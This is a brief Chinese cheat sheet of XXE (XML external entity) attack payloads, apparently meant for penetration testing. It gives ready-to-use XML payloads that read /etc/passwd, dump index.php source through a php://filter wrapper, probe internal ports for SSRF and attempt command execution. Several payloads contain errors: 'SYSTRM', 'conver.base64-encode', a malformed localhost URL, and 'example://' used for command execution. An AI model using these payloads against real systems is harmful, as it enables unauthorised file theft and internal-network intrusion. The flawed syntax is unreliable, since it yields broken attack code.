进行XXE漏洞测试时,必备知识:
XML声明:<?xml version="1.0" encoding="utf-8"?>
内部DTD声明:
外部实体声明:<!ENTITY 实体名称 SYSTRM ‘URI/URL’>
根据不同的环境,需要了解不同的协议,
如php支持的协议:file://、http://、ftp://、php://、zlib://、data://、glob://、phar://、ssh2://、rar://、ogg://、expect://
一、读取文件:
以PHP协议来构造我们的payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY test SYSTEM "file:///etc/passwd">
]>
<c>&test;</c>
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY test SYSTEM "php://filter/read=conver.base64-encode/resource=index.php">
]>
<c>&test;</c>
二、内网探测/简单的SSRF
使用http://来进行端口探测及简单的SSRF构造一个Payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY test SYSTEM "http://127.0.0.1:3306">
]>
<c>&test;</c>
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY test SYSTEM "http://127.0.0.1:1.txt">
]>
<c>&test;</c>
三、命令执行
使用php协议构造一个payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY test SYSTEM "example://id">
]>
<c>&test;</c>
通过GET方式请求,需要先将payload先urlencode